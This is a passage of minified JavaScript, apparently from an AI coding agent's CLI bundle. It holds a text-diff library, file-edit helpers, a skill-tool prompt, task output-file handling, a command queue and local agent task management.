R=0;R<C.lines.length;R++)if(C.lines[R].endsWith(` `))C.lines[R]=C.lines[R].slice(0,-1);else C.lines.splice(R+1,0,"\\ No newline at end of file"),R++}return{oldFileName:A,newFileName:K,oldHeader:z,newHeader:w,hunks:G}}}function fRY(A){var K=A.endsWith(` `),q=A.split(` `).map(function(Y){return Y+` `});if(K)q.pop();else q.push(q.pop().slice(0,-1));return q}var A2H,O_1="a-zA-Z0-9_\\u{C0}-\\u{FF}\\u{D8}-\\u{F6}\\u{F8}-\\u{2C6}\\u{2C8}-\\u{2D7}\\u{2DE}-\\u{2FF}\\u{1E00}-\\u{1EFF}",$RY,$_1,qj7,__1,_RY,GRY,tBA,lM6;var AmA=k(()=>{dI.prototype={diff:function(K,q){var Y,z=arguments.length>2&&arguments[2]!==void 0?arguments[2]:{},w=z.callback;if(typeof z==="function")w=z,z={};var H=this;function J(N){if(N=H.postProcess(N,z),w)return setTimeout(function(){w(N)},0),!0;else return N}K=this.castInput(K,z),q=this.castInput(q,z),K=this.removeEmpty(this.tokenize(K,z)),q=this.removeEmpty(this.tokenize(q,z));var O=q.length,X=K.length,$=1,_=O+X;if(z.maxEditLength!=null)_=Math.min(_,z.maxEditLength);var G=(Y=z.timeout)!==null&&Y!==void 0?Y:1/0,Z=Date.now()+G,W=[{oldPos:-1,lastComponent:void 0}],D=this.extractCommon(W[0],q,K,0,z);if(W[0].oldPos+1>=X&&D+1>=O)return J(oD7(H,W[0].lastComponent,q,K,H.useLongestToken));var j=-1/0,M=1/0;function P(){for(var N=Math.max(j,-$);N<=Math.min(M,$);N+=2){var T=void 0,C=W[N-1],R=W[N+1];if(C)W[N-1]=void 0;var x=!1;if(R){var y=R.oldPos-N;x=R&&0<=y&&y<O}var B=C&&C.oldPos+1<X;if(!x&&!B){W[N]=void 0;continue}if(!B||x&&C.oldPos<R.oldPos)T=H.addToPath(R,!0,!1,0,z);else T=H.addToPath(C,!1,!0,1,z);if(D=H.extractCommon(T,q,K,N,z),T.oldPos+1>=X&&D+1>=O)return J(oD7(H,T.lastComponent,q,K,H.useLongestToken));else{if(W[N]=T,T.oldPos+1>=X)M=Math.min(M,N-1);if(D+1>=O)j=Math.max(j,N+1)}}$++}if(w)(function N(){setTimeout(function(){if($>_||Date.now()>Z)return w();if(!P())N()},0)})();else while($<=_&&Date.now()<=Z){var f=P();if(f)return f}},addToPath:function(K,q,Y,z,w){var H=K.lastComponent;if(H&&!w.oneChangePerToken&&H.added===q&&H.removed===Y)return{oldPos:K.oldPos+z,lastComponent:{count:H.count+1,added:q,removed:Y,previousComponent:H.previousComponent}};else return{oldPos:K.oldPos+z,lastComponent:{count:1,added:q,removed:Y,previousComponent:H}}},extractCommon:function(K,q,Y,z,w){var H=q.length,J=Y.length,O=K.oldPos,X=O-z,$=0;while(X+1<H&&O+1<J&&this.equals(Y[O+1],q[X+1],w))if(X++,O++,$++,w.oneChangePerToken)K.lastComponent={count:1,previousComponent:K.lastComponent,added:!1,removed:!1};if($&&!w.oneChangePerToken)K.lastComponent={count:$,previousComponent:K.lastComponent,added:!1,removed:!1};return K.oldPos=O,X},equals:function(K,q,Y){if(Y.comparator)return Y.comparator(K,q);else return K===q||Y.ignoreCase&&K.toLowerCase()===q.toLowerCase()},removeEmpty:function(K){var q=[];for(var Y=0;Y<K.length;Y++)if(K[Y])q.push(K[Y]);return q},castInput:function(K){return K},tokenize:function(K){return Array.from(K)},join:function(K){return K.join("")},postProcess:function(K){return K}};A2H=new dI;$RY=new RegExp("[".concat(O_1,"]+|\\s+|[^").concat(O_1,"]"),"ug"),$_1=new dI;$_1.equals=function(A,K,q){if(q.ignoreCase)A=A.toLowerCase(),K=K.toLowerCase();return A.trim()===K.trim()};$_1.tokenize=function(A){var K=arguments.length>1&&arguments[1]!==void 0?arguments[1]:{},q;if(K.intlSegmenter){if(K.intlSegmenter.resolvedOptions().granularity!="word")throw Error('The segmenter passed must have a granularity of "word"');q=Array.from(K.intlSegmenter.segment(A),function(w){return w.segment})}else q=A.match($RY)||[];var Y=[],z=null;return q.forEach(function(w){if(/\s/.test(w))if(z==null)Y.push(w);else Y.push(Y.pop()+w);else if(/\s/.test(z))if(Y[Y.length-1]==z)Y.push(Y.pop()+w);else Y.push(z+w);else Y.push(w);z=w}),Y};$_1.join=function(A){return A.map(function(K,q){if(q==0)return K;else return K.replace(/^\s+/,"")}).join("")};$_1.postProcess=function(A,K){if(!A||K.oneChangePerToken)return A;var q=null,Y=null,z=null;if(A.forEach(function(w){if(w.added)Y=w;else if(w.removed)z=w;else{if(Y||z)eD7(q,z,Y,w);q=w,Y=null,z=null}}),Y||z)eD7(q,z,Y,null);return A};qj7=new dI;qj7.tokenize=function(A){var K=new RegExp("(\\r?\\n)|[".concat(O_1,"]+|[^\\S\\n\\r]+|[^").concat(O_1,"]"),"ug");return A.match(K)||[]};__1=new dI;__1.tokenize=function(A,K){if(K.stripTrailingCr)A=A.replace(/\r\n/g,` `);var q=[],Y=A.split(/(\n|\r\n)/);if(!Y[Y.length-1])Y.pop();for(var z=0;z<Y.length;z++){var w=Y[z];if(z%2&&!K.newlineIsToken)q[q.length-1]+=w;else q.push(w)}return q};__1.equals=function(A,K,q){if(q.ignoreWhitespace){if(!q.newlineIsToken||!A.includes(` `))A=A.trim();if(!q.newlineIsToken||!K.includes(` `))K=K.trim()}else if(q.ignoreNewlineAtEof&&!q.newlineIsToken){if(A.endsWith(` `))A=A.slice(0,-1);if(K.endsWith(` `))K=K.slice(0,-1)}return dI.prototype.equals.call(this,A,K,q)};_RY=new dI;_RY.tokenize=function(A){return A.split(/(\S.+?[.!?])(?=\s+|$)/)};GRY=new dI;GRY.tokenize=function(A){return A.split(/([{}:;,]|\s+)/)};tBA=new dI;tBA.useLongestToken=!0;tBA.tokenize=__1.tokenize;tBA.castInput=function(A,K){var{undefinedReplacement:q,stringifyReplacer:Y}=K,z=Y===void 0?function(w,H){return typeof H>"u"?q:H}:Y;return typeof A==="string"?A:JSON.stringify(cM6(A,null,null,z),z," ")};tBA.equals=function(A,K,q){return dI.prototype.equals.call(tBA,A.replace(/,([\r\n])/g,"$1"),K.replace(/,([\r\n])/g,"$1"),q)};lM6=new dI;lM6.tokenize=function(A){return A.slice()};lM6.join=lM6.removeEmpty=function(A){return A}});function KmA(A){return A.replaceAll("&",wj7).replaceAll("$",Hj7)}function Jj7(A){return A.replaceAll(wj7,"&").replaceAll(Hj7,"$")}function qmA(A,K){let q=0,Y=0;if(A.length===0&&K)q=K.split(/\r?\n/).length;else q=A.reduce((z,w)=>z+w.lines.filter((H)=>H.startsWith("+")).length,0),Y=A.reduce((z,w)=>z+w.lines.filter((H)=>H.startsWith("-")).length,0);$R1(q,Y),GR1()?.add(q,{type:"added"}),GR1()?.add(Y,{type:"removed"}),n("tengu_file_changed",{lines_added:q,lines_removed:Y})}function Oj7({filePath:A,oldContent:K,newContent:q,ignoreWhitespace:Y=!1,singleHunk:z=!1}){return eBA(A,A,KmA(K),KmA(q),void 0,void 0,{ignoreWhitespace:Y,context:z?1e5:zj7}).hunks.map((w)=>({...w,lines:w.lines.map(Jj7)}))}function tT({filePath:A,fileContents:K,edits:q,ignoreWhitespace:Y=!1}){let z=KmA(YWA(K));return eBA(A,A,z,q.reduce((w,H)=>{let{old_string:J,new_string:O}=H,X="replace_all"in H?H.replace_all:!1,$=KmA(YWA(J)),_=KmA(YWA(O));if(X)return w.replaceAll($,()=>_);else return w.replace($,()=>_)},z),void 0,void 0,{context:zj7,ignoreWhitespace:Y}).hunks.map((w)=>({...w,lines:w.lines.map(Jj7)}))}var zj7=3,wj7="<<:AMPERSAND_TOKEN:>>",Hj7="<<:DOLLAR_TOKEN:>>";var vp=k(()=>{AmA();Ck();YK();l1();q6()});function Xj7(A){return A.replaceAll(NRY,"'").replaceAll(TRY,"'").replaceAll(vRY,'"').replaceAll(ERY,'"')}function iM6(A){let K=A.split(/(\r\n|\n|\r)/),q="";for(let Y=0;Y<K.length;Y++){let z=K[Y];if(z!==void 0)if(Y%2===0)q+=z.replace(/\s+$/,"");else q+=z}return q}function UqA(A,K){if(A.includes(K))return K;let q=Xj7(K),z=Xj7(A).indexOf(q);if(z!==-1)return A.substring(z,z+K.length);return null}function kRY(A,K,q,Y=!1){let z=Y?(H,J,O)=>H.replaceAll(J,()=>O):(H,J,O)=>H.replace(J,()=>O);if(q!=="")return z(A,K,q);return!K.endsWith(` `)&&A.includes(K+` `)?z(A,K+` `,q):z(A,K,q)}function G_1({filePath:A,fileContents:K,oldString:q,newString:Y,replaceAll:z=!1}){return YmA({filePath:A,fileContents:K,edits:[{old_string:q,new_string:Y,replace_all:z}]})}function YmA({filePath:A,fileContents:K,edits:q}){let Y=K,z=[];if(!K&&q.length===1&&q[0]&&q[0].old_string===""&&q[0].new_string==="")return{patch:tT({filePath:A,fileContents:K,edits:[{old_string:K,new_string:Y,replace_all:!1}]}),updatedFile:""};for(let H of q){let J=H.old_string.replace(/\n+$/,"");for(let X of z)if(J!==""&&X.includes(J))throw Error("Cannot edit file: old_string is a substring of a new_string from a previous edit.");let O=Y;if(Y=H.old_string===""?H.new_string:kRY(Y,H.old_string,H.new_string,H.replace_all),Y===O)throw Error("String not found in file. Failed to apply edit.");z.push(H.new_string)}if(Y===K)throw Error("Original and edited file match exactly. Failed to apply edit.");return{patch:tT({filePath:A,fileContents:K,edits:[{old_string:K,new_string:Y,replace_all:!1}]}),updatedFile:Y}}function nM6(A,K){return eBA("file.txt","file.txt",A,K,void 0,void 0,{context:8}).hunks.map((Y)=>({startLine:Y.oldStart,content:Y.lines.filter((z)=>!z.startsWith("-")&&!z.startsWith("\\")).map((z)=>z.slice(1)).join(` `)})).map(zWA).join(` ... `)}function $j7(A){return A.map((K)=>{let q=[],Y=[],z=[];for(let w of K.lines)if(w.startsWith(" "))q.push(w.slice(1)),Y.push(w.slice(1)),z.push(w.slice(1));else if(w.startsWith("-"))Y.push(w.slice(1));else if(w.startsWith("+"))z.push(w.slice(1));return{old_string:Y.join(` `),new_string:z.join(` `),replace_all:!1}})}function LRY(A){let K=A,q=[];for(let[Y,z]of Object.entries(CRY)){let w=K;if(K=K.replaceAll(Y,z),w!==K)q.push({from:Y,to:z})}return{result:K,appliedReplacements:q}}function _j7({file_path:A,edits:K}){if(K.length===0)return{file_path:A,edits:K};try{let q=x7(A);if(!BA().existsSync(q))return{file_path:A,edits:K};let Y=rM6(q);return{file_path:A,edits:K.map(({old_string:z,new_string:w,replace_all:H})=>{let J=iM6(w);if(Y.includes(z))return{old_string:z,new_string:J,replace_all:H};let{result:O,appliedReplacements:X}=LRY(z);if(Y.includes(O)){let $=J;for(let{from:_,to:G}of X)$=$.replaceAll(_,G);return{old_string:O,new_string:$,replace_all:H}}return{old_string:z,new_string:J,replace_all:H}})}}catch(q){KA(q)}return{file_path:A,edits:K}}function RRY(A,K,q){if(A.length===K.length&&A.every((J,O)=>{let X=K[O];return X!==void 0&&J.old_string===X.old_string&&J.new_string===X.new_string&&J.replace_all===X.replace_all}))return!0;let Y=null,z=null,w=null,H=null;try{Y=YmA({filePath:"temp",fileContents:q,edits:A})}catch(J){z=J instanceof Error?J.message:String(J)}try{w=YmA({filePath:"temp",fileContents:q,edits:K})}catch(J){H=J instanceof Error?J.message:String(J)}if(z!==null&&H!==null)return z===H;if(z!==null||H!==null)return!1;return Y.updatedFile===w.updatedFile}function Gj7(A,K){if(A.file_path!==K.file_path)return!1;if(A.edits.length===K.edits.length&&A.edits.every((z,w)=>{let H=K.edits[w];return H!==void 0&&z.old_string===H.old_string&&z.new_string===H.new_string&&z.replace_all===H.replace_all}))return!0;let Y=BA().existsSync(A.file_path)?rM6(A.file_path):"";return RRY(A.edits,K.edits,Y)}var NRY="‘",TRY="’",vRY="“",ERY="”",CRY;var pqA=k(()=>{AmA();YK();vp();Oz();e6();C1();CRY={"<fnr>":"<function_results>","<n>":"<name>","</n>":"</name>","<o>":"<output>","</o>":"</output>","<e>":"<error>","</e>":"</error>","<s>":"<system>","</s>":"</system>","<r>":"<result>","</r>":"</result>","< META_START >":"<META_START>","< META_END >":"<META_END>","< EOT >":"<EOT>","< META >":"<META>","< SOS >":"<SOS>","\n\nH:":` Human:`,"\n\nA:":` Assistant:`}});function yRY(){return Number(process.env.SLASH_COMMAND_TOOL_CHAR_BUDGET)||15000}function Zj7(A){return A.whenToUse?`${A.description} - ${A.whenToUse}`:A.description}function IRY(A){if(A.name!==A.userFacingName()&&A.type==="prompt"&&A.source==="plugin")h(`Skill prompt: showing "${A.name}" (userFacingName="${A.userFacingName()}")`);return`- ${A.name}: ${Zj7(A)}`}function Wj7(A){if(A.length===0)return"";let K=yRY(),q=A.map((J)=>({cmd:J,full:IRY(J)}));if(q.reduce((J,O)=>J+O.full.length,0)+(q.length-1)<=K)return q.map((J)=>J.full).join(` `);let z=A.reduce((J,O)=>J+O.name.length+4,0)+(A.length-1),w=K-z,H=Math.floor(w/A.length);if(H<SRY)return A.map((J)=>`- ${J.name}`).join(` `);return A.map((J)=>{let O=Zj7(J),X=O.length>H?O.slice(0,H-1)+"…":O;return`- ${J.name}: ${X}`}).join(` `)}async function Dj7(A){let K=await lC(A);return{totalCommands:K.length,includedCommands:K.length}}async function jj7(A){return lC(A)}function Mj7(){oM6.cache?.clear?.()}var SRY=20,oM6;var zmA=k(()=>{X0();Z1();C1();X0();maA();wz();oM6=z6(async(A)=>{return`Execute a skill within the main conversation When users ask you to perform tasks, check if any of the available skills match. Skills provide specialized capabilities and domain knowledge. When users reference a "slash command" or "/<something>" (e.g., "/commit", "/review-pr"), they are referring to a skill. Use this tool to invoke it. How to invoke: - Use this tool with the skill name and optional arguments - Examples: - \`skill: "pdf"\` - invoke the pdf skill - \`skill: "commit", args: "-m 'Fix bug'"\` - invoke with arguments - \`skill: "review-pr", args: "123"\` - invoke with arguments - \`skill: "ms-office-suite:pdf"\` - invoke using fully qualified name Important: - Available skills are listed in system-reminder messages in the conversation - When a skill matches the user's request, this is a BLOCKING REQUIREMENT: invoke the relevant Skill tool BEFORE generating any other response about the task - NEVER mention a skill without actually calling this tool - Do not invoke a skill that is already running - Do not use this tool for built-in CLI commands (like /help, /clear, etc.) - If you see a <${hN}> tag in the current conversation turn, the skill has ALREADY been loaded - follow the instructions directly instead of calling this tool again `})});import{readFileSync as Vj7,unlinkSync as fj7,mkdirSync as Nj7,existsSync as dqA,statSync as hRY,readdirSync as bRY,symlinkSync as xRY}from"fs";import{appendFile as uRY}from"fs/promises";import{dirname as BRY,join as aM6}from"path";function wmA(){return aM6(D_1(),"tasks")}function sM6(){let A=wmA();if(!dqA(A))Nj7(A,{recursive:!0})}function Ew(A){return aM6(wmA(),`${A}.output`)}function cqA(A,K){try{sM6();let w=Ew(A),H=BRY(w);if(!dqA(H))Nj7(H,{recursive:!0})}catch(w){KA(w instanceof Error?w:Error(String(w)));return}let q=Ew(A),z=(Pj7.get(A)??Promise.resolve()).then(async()=>{try{await uRY(q,K,"utf8")}catch(w){KA(w instanceof Error?w:Error(String(w)))}});Pj7.set(A,z)}function tM6(A,K){try{let q=Ew(A);if(!dqA(q))return{content:"",newOffset:K};let z=hRY(q).size;if(z<=K)return{content:"",newOffset:K};return{content:Vj7(q,"utf8").slice(K),newOffset:z}}catch(q){return KA(q instanceof Error?q:Error(String(q))),{content:"",newOffset:K}}}function W_1(A){try{let K=Ew(A);if(!dqA(K))return"";return Vj7(K,"utf8")}catch(K){return KA(K instanceof Error?K:Error(String(K))),""}}function wWA(A){sM6();let K=Ew(A);if(!dqA(K))x8(K,"","utf8");return K}function HWA(A,K){try{sM6();let q=Ew(A);if(dqA(q))fj7(q);return xRY(K,q),q}catch(q){return KA(q instanceof Error?q:Error(String(q))),wWA(A)}}function Tj7(){try{let A=wmA();if(!dqA(A))return;let K=bRY(A);for(let q of K)if(q.endsWith(".output"))try{fj7(aM6(A,q))}catch{}}catch{}}var Pj7;var rM=k(()=>{b1();C1();Xz();Pj7=new Map});function vj7(A,K){let q=Object.create(null),Y=0;for(let z of A){let w=K(z,Y++);if(q[w]===void 0)q[w]=[];q[w].push(z)}return q}function M_1(A,K){let q=d1(),Y={type:"queue-operation",operation:A,timestamp:new Date().toISOString(),sessionId:q,...K!==void 0&&{content:K}};Sj7(Y)}function kj7(A){return j_1.add(A),()=>{j_1.delete(A)}}function Cj7(){return Ej7}function eM6(){Ej7++;for(let A of j_1)A()}function Lj7(){return P_1.length>0}function Rj7(){if(P_1.length>0)eM6()}function yj7(){let A=P_1.shift();if(A!==void 0)eM6();return A}function hG(A,K){if(A.mode==="task-notification"&&j_1.size>0)P_1.push(typeof A.value==="string"?A.value:""),eM6();else K((q)=>({...q,queuedCommands:[...q.queuedCommands,A]}));M_1("enqueue",typeof A.value==="string"?A.value:void 0)}async function V_1(A,K){if((await A()).queuedCommands.length===0)return;let Y;if(K((z)=>{if(z.queuedCommands.length===0)return z;return[Y]=z.queuedCommands,{...z,queuedCommands:z.queuedCommands.slice(1)}}),Y)M_1("dequeue");return Y}function Ij7(A,K){if(A.length===0)return;K((q)=>({...q,queuedCommands:q.queuedCommands.filter((Y)=>!A.some((z)=>z.value===Y.value))}));for(let q of A)M_1("remove")}function f_1(A){return!mRY.has(A)}function gRY(A){if(typeof A==="string")return A;let K=[];for(let q of A)if(q.type==="text")K.push(q.text);return K.join(` `)}function FRY(A,K){if(typeof A==="string")return[];let q=[],Y=0;for(let z of A)if(z.type==="image"&&z.source.type==="base64")q.push({id:K+Y,type:"image",content:z.source.data,mediaType:z.source.media_type,filename:`image${Y+1}`}),Y++;return q}async function N_1(A,K,q,Y){let z=await q();if(z.queuedCommands.length===0)return;let{editable:w=[],nonEditable:H=[]}=vj7(z.queuedCommands,(G)=>f_1(G.mode)?"editable":"nonEditable");if(w.length===0)return;let J=w.map((G)=>gRY(G.value)),O=[...J,A].filter(Boolean).join(` `),X=J.join(` `).length+1+K,$=[],_=Date.now();for(let G of w){let Z=FRY(G.value,_);$.push(...Z),_+=Z.length}for(let G of w)M_1("popAll",typeof G.value==="string"?G.value:void 0);return Y((G)=>({...G,queuedCommands:H})),{text:O,cursorOffset:X,images:$}}var P_1,Ej7=0,j_1,mRY;var Tf=k(()=>{UK();q6();P_1=[],j_1=new Set;mRY=new Set(["task-notification"])});import{randomUUID as QRY}from"crypto";function pRY(A){return URY[A]??"x"}function Ep(A){let K=pRY(A),q=QRY().replace(/-/g,"").substring(0,6);return`${K}${q}`}function oM(A,K,q){return{id:A,type:K,status:"pending",description:q,startTime:Date.now(),outputFile:Ew(A),outputOffset:0,notified:!1}}var URY;var lqA=k(()=>{rM();URY={local_bash:"b",local_agent:"a",remote_agent:"r",in_process_teammate:"t"}});function rD(A){return A}function oD(A){return A}var T_1="REPL",hj7;var AP6=k(()=>{hj7=new Set(["Read","Write","Edit","Glob","Grep","Bash","NotebookEdit"])});function E_1(A,K,q){if(A===T_1)return{isCollapsible:!1,isSearch:!1,isRead:!1,isREPL:!0};let Y=uQ(q,A);if(!Y?.isSearchOrReadCommand)return{isCollapsible:!1,isSearch:!1,isRead:!1,isREPL:!1};let z=Y.isSearchOrReadCommand(K);return{isCollapsible:z.isSearch||z.isRead,isSearch:z.isSearch,isRead:z.isRead,isREPL:!1}}function HmA(A,K){if(A?.type==="tool_use"&&A.name){let q=E_1(A.name,A.input,K);if(q.isCollapsible||q.isREPL)return{isSearch:q.isSearch,isRead:q.isRead,isREPL:q.isREPL}}return null}function v_1(A,K,q){return E_1(A,K,q).isCollapsible}function dRY(A,K){if(A.type==="assistant"){let q=A.message.content[0],Y=HmA(q,K);if(Y&&q?.type==="tool_use")return{name:q.name,input:q.input,...Y}}if(A.type==="grouped_tool_use"){let q=A.messages[0]?.message.content[0],Y=HmA(q?{type:"tool_use",name:A.toolName,input:q.input}:void 0,K);if(Y&&q?.type==="tool_use")return{name:A.toolName,input:q.input,...Y}}return null}function cRY(A){if(A.type==="assistant"){let K=A.message.content[0];if(K?.type==="text"&&K.text.trim().length>0)return!0}return!1}function lRY(A,K){if(A.type==="assistant"){let q=A.message.content[0];if(q?.type==="tool_use"&&!v_1(q.name,q.input,K))return!0}if(A.type==="grouped_tool_use"){let q=A.messages[0]?.message.content[0];if(q?.type==="tool_use"&&!v_1(A.toolName,q.input,K))return!0}return!1}function iRY(A){if(A.type==="assistant"){let K=A.message.content[0];if(K?.type==="thinking"||K?.type==="redacted_thinking")return!0}if(A.type==="attachment")return!0;if(A.type==="system")return!0;return!1}function nRY(A,K){if(A.type==="assistant"){let q=A.message.content[0];return q?.type==="tool_use"&&v_1(q.name,q.input,K)}if(A.type==="grouped_tool_use"){let q=A.messages[0]?.message.content[0];return q?.type==="tool_use"&&v_1(A.toolName,q.input,K)}return!1}function rRY(A,K){if(A.type==="user"){let q=A.message.content.filter((Y)=>Y.type==="tool_result");return q.length>0&&q.every((Y)=>K.has(Y.tool_use_id))}return!1}function uj7(A){if(A.type==="assistant"){let K=A.message.content[0];if(K?.type==="tool_use")return[K.id]}if(A.type==="grouped_tool_use")return A.messages.map((K)=>{let q=K.message.content[0];return q.type==="tool_use"?q.id:""}).filter(Boolean);return[]}function JWA(A){let K=[];for(let q of A.messages)K.push(...uj7(q));return K}function Bj7(A,K){return JWA(A).some((q)=>K.has(q))}function mj7(A){let K=A.displayMessage;if(K.type==="grouped_tool_use")return K.displayMessage;return K}function bj7(A){if(A.type==="grouped_tool_use")return A.messages.length;return 1}function oRY(A){let K=[];if(A.type==="assistant"){let q=A.message.content[0];if(q?.type==="tool_use"){let Y=q.input;if(Y?.file_path)K.push(Y.file_path)}}else if(A.type==="grouped_tool_use")for(let q of A.messages){let Y=q.message.content[0];if(Y?.type==="tool_use"){let z=Y.input;if(z?.file_path)K.push(z.file_path)}}return K}function xj7(){return{messages:[],searchCount:0,readFilePaths:new Set,readOperationCount:0,toolUseIds:new Set}}function aRY(A){let K=A.messages[0],q=A.readFilePaths.size+A.readOperationCount;return{type:"collapsed_read_search",searchCount:A.searchCount,readCount:q,replCount:0,messages:A.messages,displayMessage:K,uuid:`collapsed-${K.uuid}`,timestamp:K.timestamp}}function gj7(A,K){let q=[],Y=xj7(),z=[];function w(){if(Y.messages.length===0)return;q.push(aRY(Y));for(let H of z)q.push(H);z=[],Y=xj7()}for(let H of A)if(nRY(H,K)){if(dRY(H,K).isSearch)Y.searchCount+=bj7(H);else{let O=oRY(H);for(let X of O)Y.readFilePaths.add(X);if(O.length===0)Y.readOperationCount+=bj7(H)}for(let O of uj7(H))Y.toolUseIds.add(O);Y.messages.push(H)}else if(rRY(H,Y.toolUseIds))Y.messages.push(H);else if(iRY(H))if(Y.messages.length>0)z.push(H);else q.push(H);else if(cRY(H))w(),q.push(H);else if(lRY(H,K))w(),q.push(H);else w(),q.push(H);return w(),q}function KP6(A,K,q,Y=0){let z=[];if(A>0){let H=q?"Searching for":"Searched for";z.push(`${H} ${A} ${A===1?"pattern":"patterns"}`)}if(K>0){let H=q?z.length===0?"Reading":"reading":z.length===0?"Read":"read";z.push(`${H} ${K} ${K===1?"file":"files"}`)}if(Y>0){let H=q?"REPL'ing":"REPL'd";z.push(`${H} ${Y} ${Y===1?"time":"times"}`)}let w=z.join(", ");return q?`${w}…`:w}function iqA(A){if(A.length===0)return;let K=0,q=0;for(let z=A.length-1;z>=0;z--){let w=A[z];if(w.isSearch)K++;else if(w.isRead)q++;else break}if(K+q>=2)return KP6(K,q,!0);return A[A.length-1]?.activityDescription}var XB=k(()=>{AP6()});function Qj7(A){return A.isNonInteractiveSession}function k_1(A){try{let K=new Fj7.Ajv({allErrors:!0});if(!K.validateSchema(A))throw Error(`Invalid JSON Schema: ${K.errorsText(K.errors)}`);let Y=K.compile(A);return{...qP6,inputJSONSchema:A,async call(z){if(!Y(z)){let H=Y.errors?.map((J)=>`${J.instancePath||"root"}: ${J.message}`).join(", ");throw Error(`Output does not match required schema: ${H}`)}return{data:"Structured output provided successfully",structured_output:z}}}}catch{return null}}var Fj7,sRY,tRY,bG="StructuredOutput",qP6;var kp=k(()=>{z7();b1();Fj7=o(h01(),1),sRY=U.object({}).passthrough(),tRY=U.string().describe("Structured output tool result");qP6={isMcp:!1,isEnabled(){return!0},isConcurrencySafe(){return!0},isReadOnly(){return!0},isDestructive(){return!1},isOpenWorld(){return!1},name:bG,maxResultSizeChars:1e5,async description(){return"Return structured output in the requested format"},async prompt(){return"Use this tool to return your final response in the requested structured format. You MUST call this tool exactly once at the end of your response to provide the structured output."},inputSchema:sRY,outputSchema:tRY,async call(A){return{data:"Structured output provided successfully",structured_output:A}},async checkPermissions(A){return{behavior:"allow",updatedInput:A}},renderToolUseMessage(A){let K=Object.keys(A);if(K.length===0)return null;if(K.length<=3)return K.map((q)=>`${q}: ${UA(A[q])}`).join(", ");return`${K.length} fields: ${K.slice(0,3).join(", ")}…`},userFacingName:()=>bG,renderToolUseRejectedMessage(){return"Structured output rejected"},renderToolUseErrorMessage(){return"Structured output error"},renderToolUseProgressMessage(){return null},renderToolResultMessage(A){return A},mapToolResultToToolResultBlockParam(A,K){return{tool_use_id:K,type:"tool_result",content:A}}}});function JmA(){return{toolUseCount:0,latestInputTokens:0,cumulativeOutputTokens:0,recentActivities:[]}}function YP6(A){return A.latestInputTokens+A.cumulativeOutputTokens}function OWA(A,K,q,Y){if(K.type!=="assistant")return;let z=K.message.usage;A.latestInputTokens=z.input_tokens+(z.cache_creation_input_tokens??0)+(z.cache_read_input_tokens??0),A.cumulativeOutputTokens+=z.output_tokens;for(let w of K.message.content)if(w.type==="tool_use"){if(A.toolUseCount++,w.name!==bG){let H=w.input,J=Y?E_1(w.name,H,Y):void 0;A.recentActivities.push({toolName:w.name,input:H,activityDescription:q?.(w.name,H),isSearch:J?.isSearch,isRead:J?.isRead})}}while(A.recentActivities.length>eRY)A.recentActivities.shift()}function OmA(A){return{toolUseCount:A.toolUseCount,tokenCount:YP6(A),lastActivity:A.recentActivities.length>0?A.recentActivities[A.recentActivities.length-1]:void 0,recentActivities:[...A.recentActivities]}}function XmA(A){return(K,q)=>{return uQ(A,K)?.getActivityDescription?.(q)??void 0}}function na(A){return typeof A==="object"&&A!==null&&"type"in A&&A.type==="local_agent"}function rqA(A,K,q,Y,z,w){let H=q==="completed"?`Agent "${K}" completed`:q==="failed"?`Agent "${K}" failed: ${Y||"Unknown error"}`:`Agent "${K}" was stopped`,J=Ew(A),O=w?` <result>${w}</result>`:"",X=`<${g0}> <${oP}>${A}</${oP}> <${WZ}>${q}</${WZ}> <${DZ}>${H}</${DZ}>${O} </${g0}> Full transcript available at: ${J}`;hG({value:X,mode:"task-notification"},z),eY(A,z,($)=>({...$,notified:!0}))}function nqA(A,K){eY(A,K,(q)=>{if(q.status!=="running")return q;return q.abortController?.abort(),q.unregisterCleanup?.(),{...q,status:"killed",endTime:Date.now()}})}function zP6(A,K,q){eY(A,q,(Y)=>{if(Y.status!=="running")return Y;return{...Y,progress:K}})}function wP6(A,K){let q=A.agentId;eY(q,K,(Y)=>{if(Y.status!=="running")return Y;return Y.unregisterCleanup?.(),{...Y,status:"completed",result:A,endTime:Date.now()}})}function HP6(A,K,q){eY(A,q,(Y)=>{if(Y.status!=="running")return Y;return Y.unregisterCleanup?.(),{...Y,status:"failed",error:K,endTime:Date.now()}})}function Uj7({agentId:A,description:K,prompt:q,selectedAgent:Y,setAppState:z,parentAbortController:w}){HWA(A,$B(oD(A)));let H=w?L1A(w):e7(),J={...oM(A,"local_agent",K),type:"local_agent",status:"running",agentId:A,prompt:q,selectedAgent:Y,agentType:Y.agentType??"general-purpose",abortController:H,retrieved:!1,lastReportedToolCount:0,lastReportedTokenCount:0,isBackgrounded:!0},O=kK(async()=>{nqA(A,z)});return J.unregisterCleanup=O,aM(J,z),J}function pj7({agentId:A,description:K,prompt:q,selectedAgent:Y,setAppState:z}){HWA(A,$B(oD(A)));let w=e7(),H=kK(async()=>{nqA(A,z)}),J={...oM(A,"local_agent",K),type:"local_agent",status:"running",agentId:A,prompt:q,selectedAgent:Y,agentType:Y.agentType??"general-purpose",abortController:w,unregisterCleanup:H,retrieved:!1,lastReportedToolCount:0,lastReportedTokenCount:0,isBackgrounded:!1},O,X=new Promise(($)=>{O=$});return C_1.set(A,O),aM(J,z),{taskId:A,backgroundSignal:X}}function dj7(A,K,q){let z=K().tasks[A];if(!na(z)||z.isBackgrounded)return!1;q((H)=>{let J=H.tasks[A];if(!na(J))return H;return{...H,tasks:{...H.tasks,[A]:{...J,isBackgrounded:!0}}}});let w=C_1.get(A);if(w)w(),C_1.delete(A);return!0}function cj7(A,K){C_1.delete(A);let q;K((Y)=>{let z=Y.tasks[A];if(!na(z)||z.isBackgrounded)return Y;q=z.unregisterCleanup;let{[A]:w,...H}=Y.tasks;return{...Y,tasks:H}}),q?.()}var Cp,eRY=5,L_1,C_1;var XWA=k(()=>{mA();lqA();Jz();R2();Tf();cI();rM();UK();XB();kp();wz();Cp=o($A(),1);L_1={name:"LocalAgentTask",type:"local_agent",async spawn(A,K){let{prompt:q,description:Y,agentType:z,model:w,selectedAgent:H,agentId:J}=A,{setAppState:O}=K,X=J??Ep("local_agent");HWA(X,$B(oD(X)));let $=e7(),_={...oM(X,"local_agent",Y),type:"local_agent",status:"running",agentId:X,prompt:q,selectedAgent:H,agentType:z,model:w,abortController:$,retrieved:!1,lastReportedToolCount:0,lastReportedTokenCount:0,isBackgrounded:!0},G=kK(async()=>{nqA(X,O)});return _.unregisterCleanup=G,aM(_,O),{taskId:X,cleanup:()=>{G(),$.abort()}}},async kill(A,K){nqA(A,K.setAppState)},renderStatus(A){let K=A,q=K.status,Y=K.description,z=K.progress,w=q==="running"?"warning":q==="completed"?"success":q==="failed"?"error":"inactive",H=z?` 